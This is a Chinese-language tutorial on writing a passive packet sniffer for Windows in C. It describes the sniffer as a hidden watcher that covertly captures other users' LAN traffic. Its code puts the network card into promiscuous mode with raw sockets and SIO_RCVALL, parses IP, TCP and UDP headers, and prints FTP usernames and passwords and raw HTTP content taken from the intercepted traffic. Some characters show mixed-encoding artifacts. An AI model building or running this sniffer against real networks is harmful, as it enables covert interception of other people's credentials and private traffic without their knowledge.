嗅探器可以神不知鬼不覺地去獲得局域網中用戶訪問網絡的數據,可謂是隱藏在黑暗中的偷窺者。嗅探技術可以分為主動嗅探和被動嗅探。主動嗅探主要是依賴ARP欺騙或MAC欺騙誘導被攻擊者將數據發(fā)送給攻擊者;被動嗅探主要是將網卡設置為混雜模式,然后接收通過網卡的所有數據。本文主要介紹被動嗅探的工作方式。
1. 嗅探器的編寫思路
共享方式下的以太網會將數據發(fā)送給同一網段內的所有計算機網卡,接收到數據的網卡會將與自己MAC地址不匹配的數據丟棄。因為共享以太網會將別人的數據也發(fā)送給自己計算機的網卡,所以嗅探器就是利用共享以太網的原理進行嗅探的。網卡可以工作在多種方式下,當網卡工作在混雜模式下時,可接收所有的數據而不丟棄。當接收到數據以后,就需要自己解析IP頭、TCP頭、UDP頭等信息。因此,開發(fā)一個嗅探器的簡單思路就是改變網卡的工作方式為混雜模式,并解析收到的數據包。
設置網卡的工作方式為混雜模式,該功能通過ioctlsocket()函數即可改變。代碼如下:
// 設置 SIO_RCVALL 控制代碼,以便接收所有的 IP 包
DWORD dwValue = 1;
if( ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0 )
{
return -1;
}
SIO_RCVALL定義在mstcpip.h頭文件中,因此要編譯它,必須包含該頭文件及庫文件,代碼如下:
#include <mstcpip.h>
#pragma comment(lib, “Advapi32.lib”)
為了收到數據包以便自己解析數據包,就要使用原始套接字,而不能單純地使用TCP或UDP套接字。對于解析數據包,必須了解和清楚數據包的格式。這里給出TCP和UDP數據包的格式,定義如下:
typedef struct _TCPHeader // 20 字節(jié)的 TCP 頭
{
USHORT sourcePort; // 16 位源端口號
USHORT destinationPort; // 16 位目的端口號
ULONG sequenceNumber; // 32 位序列號
ULONG acknowledgeNumber; // 32 位確認號
UCHAR dataoffset; // 高 4 位表示數據偏移
UCHAR flags; // 6 位標志位
USHORT windows; // 16 位窗口大小
USHORT checksum; // 16 位校驗和
USHORT urgentPointer; // 16 位緊急數據偏移量
} TCPHeader, *PTCPHeader;
typedef struct _UDPHeader
{
USHORT sourcePort; // 源端口號
USHORT destinationPort; // 目的端口號
USHORT len; // 封包長度
USHORT checksum; // 校驗和
} UDPHeader, *PUDPHeader;
2. 嗅探器的實現代碼
有了上面的內容,剩下的部分就簡單了。代碼如下:
void DecodeTCPPacket(char *pData, char *szSrcIP, char *szDestIp)
{
TCPHeader *pTCPHdr = (TCPHeader *)pData;
printf(“%s:%d -> %s:%d\r\n”,szSrcIP,
ntohs(pTCPHdr->sourcePort),szDestIp,
ntohs(pTCPHdr->destinationPort));
// 下面還可以根據目的端口號進一步解析應用層協(xié)議
switch(::ntohs(pTCPHdr->destinationPort))
{
case 21:
// 解析 FTP 的用戶名和密碼
printf(“FTP========================================\r\n”);
pData = pData + sizeof(TCPHeader);
if ( strncmp(pData, “USER ”, 5) == 0 )
{
printf(“Ftp UserName : %s \r\n”, pData + 4);
}
if ( strncmp(pData, “PASS ”, 5) == 0 )
{
printf(“Ftp Password : %s \r\n”, pData + 4);
}
printf(“FTP========================================\r\n”);
break;
case 80:
case 8080:
// 直接輸出瀏覽器獲取到的內容
printf(“WEB========================================\r\n”);
printf(“%s\r\n”, pData + sizeof(TCPHeader));
printf(“WEB========================================\r\n”);
break;
}
}
void DecodeUDPPacket(char *pData, char *szSrcIP, char *szDestIp)
{
UDPHeader *pUDPHdr = (UDPHeader *)pData;
printf(“%s:%d -> %s:%d\r\n”,szSrcIP,
ntohs(pUDPHdr->sourcePort),szDestIp,
ntohs(pUDPHdr->destinationPort));
}
void DecodeIPPacket(char *pData)
{
IPHeader *pIPHdr = (IPHeader*)pData;
in_addr source, dest;
char szSourceIp[32], szDestIp[32];
printf(“-------------------------------\r\n”);
// 從 IP 頭中取出源 IP 地址和目的 IP 地址
source.S_un.S_addr = pIPHdr->ipSource;
dest.S_un.S_addr = pIPHdr->ipDestination;
strcpy(szSourceIp, inet_ntoa(source));
strcpy(szDestIp, inet_ntoa(dest));
// IP 頭長度
int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);
switch( pIPHdr->ipProtocol )
{
case IPPROTO_TCP: // TCP 協(xié)議
DecodeTCPPacket(pData + nHeaderLen, szSourceIp, szDestIp);
break;
case IPPROTO_UDP:
DecodeUDPPacket(pData + nHeaderLen, szSourceIp, szDestIp);
break;
case IPPROTO_ICMP:
break;
}
}
int main()
{
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
// 創(chuàng)建原始套節(jié)字
SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
// 獲取本地 IP 地址
char szHostName[56];
SOCKADDR_IN addr_in;
struct hostent *pHost;
gethostname(szHostName, 56);
if( (pHost = gethostbyname((char*)szHostName)) == NULL )
{
return -1;
}
// 在調用 ioctl 之前,必須綁定套節(jié)字
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(0);
memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);
printf(“Binding to interface : %s \r\n”, ::inet_ntoa(addr_in.sin_addr));
if( bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR )
{
return -1;
}
// 設置 SIO_RCVALL 控制代碼,以便接收所有的 IP 包
DWORD dwValue = 1;
if( ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0 )
{
return -1;
}
// 開始接收封包
char buff[1024];
int nRet;
while(TRUE)
{
nRet = recv(sRaw, buff, 1024, 0);
if( nRet > 0 )
{
DecodeIPPacket(buff);
}
}
closesocket(sRaw);
WSACleanup();
return 0;
}